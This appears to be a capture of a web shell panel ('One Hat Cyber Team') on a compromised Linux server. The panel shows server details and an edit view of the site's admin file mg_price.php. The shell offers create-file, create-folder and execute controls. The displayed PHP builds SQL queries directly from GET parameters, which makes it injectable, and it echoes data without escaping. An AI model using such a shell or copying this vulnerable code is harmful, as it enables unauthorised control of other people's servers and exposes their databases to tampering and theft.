One Hat Cyber Team
Your IP :
216.73.216.240
Server IP :
162.240.106.28
Server :
Linux server.ganesand.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
Server Software :
Apache
PHP Version :
7.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
thoa
/
public_html
/
admin
/
Edit File:
mg_price.php
<?php include('config.php'); $avai = mysql_query("select * from price"); $row = mysql_fetch_array($avai); ?> <?php /* $con = mysql_connect('localhost', 'root', ''); mysql_select_db("ecomm", $con); */ error_reporting(0); ?> <?php $SP_ID = $_GET['SP_ID']; $view = mysql_query("select * from price where SP_ID = '".$SP_ID."'"); // for editing $data = mysql_fetch_array($view); if($_GET['SAI']){ $STS = $_GET['SP_STS']; if($STS == 0){ $upd_sts = mysql_query("UPDATE price SET SP_STS ='0' WHERE SP_ID ='".$_GET['SAI']."'"); //for changing status } else{ $upd_sts = mysql_query("UPDATE price SET SP_STS ='1' WHERE SP_ID ='".$_GET['SAI']."'"); } } if($_GET['del_id']){ ?> <?php $del = mysql_query("delete from price where SP_ID='".$_GET['del_id']."'"); //for deleting status if($del){?> <script> alert("Register detail deleted sucessfully"); window.location= "mg_price.php"; </script> <?php } if(!$del){?> <script> alert("Register detail Not deleted sucessfully"); window.location= "mg_price.php"; </script> <?php } } if($_POST['submit']){ $apsel = mysql_real_escape_string($_POST['apsel']); $subcat = mysql_real_escape_string($_POST['subcat']); $clas = mysql_real_escape_string($_POST['clas']); $apri = mysql_real_escape_string($_POST['apri']); $totpak = mysql_real_escape_string($_POST['totpak']); if($_GET['SP_ID']==""){ $querytot=mysql_query("select * from price where SP_NAME ='".$subcat."' and P_NAME ='".$apsel."' and C_NAME='".$clas."'"); if($rowtot=mysql_fetch_array($querytot)) { ?> <script type="text/javascript"> alert("Payment Price already have"); location.href = 'mg_price.php';</script> <? } else{ $ins = mysql_query("insert into price (P_NAME,SP_NAME,C_NAME,SP_AMT,TOT_AMT) values ('$apsel','$subcat','$clas','$apri','$totpak')"); ?><script>alert("Inserted sucessfully"); </script><? } } if($_GET['SP_ID']!=""){ { $upd = mysql_query("update price set P_NAME='$apsel',SP_NAME='$subcat',C_NAME='$clas',SP_AMT='$apri',TOT_AMT='$totpak' WHERE SP_ID ='".$SP_ID."'"); } if($upd){?> <script>alert("updated sucessfully"); window.location ="mg_price.php" </script> <?php } if(!$upd){?> <script>alert("Not updated sucessfully"); window.location ="mg_price.php" </script> <?php } } } ?> <script> function del(id){ var del = confirm("Are you sure Want to delete"); if(del){ window.location.href = "mg_price.php?del_id="+id+"&del=1"; } else{ window.location.href = "mg_price.php"; } } </script> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Admin Panel</title> <link href="css/bootstrap.min.css" rel="stylesheet"> <link href="css/datepicker3.css" rel="stylesheet"> <link href="css/styles.css" rel="stylesheet"> <link href="css/bootstrap-table.css" rel="stylesheet"> <!--[if lt IE 9]> <script src="js/html5shiv.js"></script> <script src="js/respond.min.js"></script> <![endif]--> <script> $(document).ready(function() { $("#pyes").hide(); }); </script> <script> function showUser(str) { if(str!='Ziyarah'){ $("#pyes").show(); } else if(str=='Ziyarah'){ $("#pyes").hide(); } if(str=='Haj'){ $("#phaj").show(); } else if(str!='Haj') { $("#phaj").hide(); } $.ajax({ type: "GET", url: "getsub.php?q="+str, success: function(result){ $("#subcat").html(result); } }); } </script> </head> <script type="text/javascript" src="js/tinymce/tinymce.min.js"></script> <script type="text/javascript"> tinymce.init({ selector: "textarea", themes: "modern", plugins: [ "advlist autolink lists link image charmap print preview anchor", "searchreplace visualblocks code fullscreen", "insertdatetime media table contextmenu paste" ], toolbar: "insertfile undo redo | styleselect | bold italic | alignleft aligncenter alignright alignjustify | bullist numlist outdent indent | link image" }); </script> <script> function getstate(cid){ $.ajax({ type: "GET", url: "../get_state.php?cid="+cid, success: function(result){ $("#state").html(result); } }); } function getcity(sid){ alert $.ajax({ type: "GET", url: "../get_city.php?sid="+sid, success: function(result){ $("#city").html(result); } }); } </script> <body> <nav class="navbar navbar-inverse navbar-fixed-top" role="navigation"> <div class="container-fluid"> <div class="navbar-header"> <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#sidebar-collapse"> <a href="#"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </a> </button> <a class="navbar-brand" href="#">Admin</a> <ul class="user-menu"> <li class="dropdown pull-right"> <a href="#" class="dropdown-toggle" data-toggle="dropdown"><span class="glyphicon glyphicon-user"></span> User <span class="caret"></span></a> <ul class="dropdown-menu" role="menu"> <li><a href="#"><span class="glyphicon glyphicon-user"></span> Profile</a></li> <li><a href="#"><span class="glyphicon glyphicon-cog"></span> Settings</a></li> <li><a href="logou.php"><span class="glyphicon glyphicon-log-out"></span> Logout</a></li> </ul> </li> </ul> </div> </div><!-- /.container-fluid --> </nav> <div id="sidebar-collapse" class="col-sm-3 col-lg-2 sidebar"> <form role="search"> <div class="form-group"> <input type="text" class="form-control" placeholder="Search"> </div> </form> <? include('header.php');?> </div><!--/.sidebar--> <div class="col-sm-9 col-sm-offset-3 col-lg-10 col-lg-offset-2 main"> <div class="row"> <ol class="breadcrumb"> <li><a href="#"><span class="glyphicon glyphicon-home"></span></a></li> <li class="active">Manage Payment Price</li> </ol> </div><!--/.row--> <div class="row"> <div class="col-lg-12"> <h2 class="page-header">Add/Edit Payment Price Details</h2> </div> </div><!--/.row--> <section class="content"> <div class="row"> <!-- left column --> <div class="col-xs-12"> <!-- general form elements --> <div class="box box-primary"> <!-- form start --> <div class="container"> <form role="form" method="post" action="" enctype="multipart/form-data"> <div class="form-group col-sm-11"> <label for="sel1">Select Package:</label> <? if($SP_ID) {?> <select id="apsel" name="apsel" class="form-control" onchange="showUser(this.value)"> <?php $query1=mysql_query("select * from price where SP_ID = '".$SP_ID."'"); while($row1=mysql_fetch_array($query1)) {?> <option value="<?php echo $row1['P_NAME'];?>"><?php echo $row1['P_NAME'];?></option> <?php }?> </select> <?}else{?> <select class="form-control" id="apsel" name="apsel" onchange="showUser(this.value)"> <?php $query1=mysql_query("select * from package"); while($row1=mysql_fetch_array($query1)) {?> <option value="<?php echo $row1['P_NAME'];?>"><?php echo $row1['P_NAME'];?></option> <?php }?> </select> <? }?> </div> <div class="form-group col-sm-11"> <label for="sel1">Select Subpackage:</label> <? if($SP_ID) {?> <select id="subcat" name="subcat" class="form-control"> <?php $query1=mysql_query("select * from price where SP_ID = '".$SP_ID."'"); while($row1=mysql_fetch_array($query1)) {?> <option value="<?php echo $row1['SP_NAME'];?>"><?php echo $row1['SP_NAME'];?></option> <?php }?> </select> <?}else{?> <select id="subcat" name="subcat" class="form-control"> <?php $query1=mysql_query("select * from subpackage"); while($row1=mysql_fetch_array($query1)) {?> <option value="<?php echo $row1['SP_NAME'];?>"><?php echo $row1['SP_NAME'];?></option> <?php }?> </select> <? }?> </div> <div class="form-group col-sm-11"> <label for="sel1">Select Class:</label> <? if($SP_ID && $data['C_NAME']!="") {?> <select id="clas" name="clas" class="form-control"> <?php $queryc=mysql_query("select * from class where C_NAME='".$data['C_NAME']."'"); while($rowc=mysql_fetch_array($queryc)) {?> <option value="<?php echo $rowc['C_NAME'];?>"><?php echo $rowc['C_NAME'];?></option> <?php }?> </select> <?}else{?> <select id="clas" name="clas" class="form-control"> <?php $queryc=mysql_query("select * from class"); while($rowc=mysql_fetch_array($queryc)) {?> <option value="<?php echo $rowc['C_NAME'];?>"><?php echo $rowc['C_NAME'];?></option> <?php }?> </select> <? }?> </div> <div class="form-group col-sm-11"> <label for="exampleInputEmail1">Currenly User Paying Price:</label> <input type="text" class="form-control" id="apri" name="apri" value="<?php echo $data['SP_AMT']; ?>"> </div> <div class="form-group col-sm-11"> <label for="exampleInputEmail1">Total Package Price:</label> <input type="text" class="form-control" id="totpak" name="totpak" value="<?php echo $data['TOT_AMT']; ?>"> </div> <!-- <div class="form-group col-sm-11"> <label for="sel1">No. of Seats Currently Avaiable</label> <button id="button12" type="button" class ="button-click"><blink><?//echo $row['A_NOS']?></blink></button> </div> <div class="checkbox col-sm-11"> <label><input type="checkbox" value="">I hereby accept to the Terms & Conditions.<a href="images/terms.pdf" target="_blank">click here</a></label> </div>--> <div class="box-footer col-sm-11"> <button type="submit" name="submit" value="submit" class="btn btn-primary">Submit</button> <button type="reset" class="btn btn-primary">Reset</button> </div> </form> </div> </div> </div> </div> </section> <div class="row"> <div class="col-lg-12"> <div class="panel panel-default"> <div class="panel-heading">Payment Price Data Table</div> <div class="panel-body bottom"> <table data-toggle="table" data-show-refresh="true" data-show-toggle="true" data-show-columns="true" data-search="true" data-select-item-name="toolbar1" data-pagination="true" data-sort-name="name" data-sort-order="desc"> <thead> <tr> <th data-field="state" data-checkbox="true" >Item ID</th> <th data-field="id" data-sortable="false">Item ID</th> <th data-field="sname" data-sortable="true">Package</th> <th data-field="spack" data-sortable="true">SubPakage</th> <th data-field="clas" data-sortable="true">Class</th> <th data-field="sstatus" data-sortable="true">Status</th> <!-- <th data-field="saction" data-sortable="true">Action</th>--> </tr> </thead> <tbody> <?php $table = mysql_query("select * from price"); $SP_ID=1; while($row=mysql_fetch_array($table)) { ?> <tr> <td></td> <td><?php echo $SP_ID;?></td> <td><?php echo $row['P_NAME'];?></td> <td><?php echo $row['SP_NAME'];?></td> <td><?php echo $row['C_NAME'];?></td> <td><a href= "mg_price.php?SP_ID=<?php echo $row['SP_ID'];?>">Edit</a>/<a href="#" onclick="del(<?php echo $row['SP_ID'];?>)">Delete</a></td> <!-- <td><?php// if($row['SP_STS']==1) {?> <a href = "mg_price.php?SP_STS=0&SAI=<?php// echo $row['SP_ID'];?>">Active</a> <?php //} else {?> <a href = "mg_price.php?SP_STS=1&SAI=<?php// echo $row['SP_ID'];?>">InActive </a> <?php //} ?></td>--> </tr> <?php $SP_ID++; }?> </tbody> </table> </div> </div> </div> </div> </div> <!--/.main--> <script src="js/jquery-1.11.1.min.js"></script> <script src="js/bootstrap.min.js"></script> <script src="js/chart.min.js"></script> <script src="js/chart-data.js"></script> <script src="js/easypiechart.js"></script> <script src="js/easypiechart-data.js"></script> <script src="js/bootstrap-datepicker.js"></script> <script src="js/bootstrap-table.js"></script> <script> $(document).ready(function() { $('ul.subcat').hide(); $('li').click(function(event) { event.stopPropagation(); $('> ul', this).toggle(); }); }); </script> <script> $('.top').on('click', function() { $parent_box = $(this).closest('.box'); $parent_box.siblings().find('.bottom').hide(); $parent_box.find('.bottom').toggle(); }); </script> <style> .container .box { width:auto; max-width:900px; } .container .box .top { padding: 12px; background-color: blue; color: white; cursor: pointer; } .container .box .bottom { display: none; } </style> </body> </html>
Simpan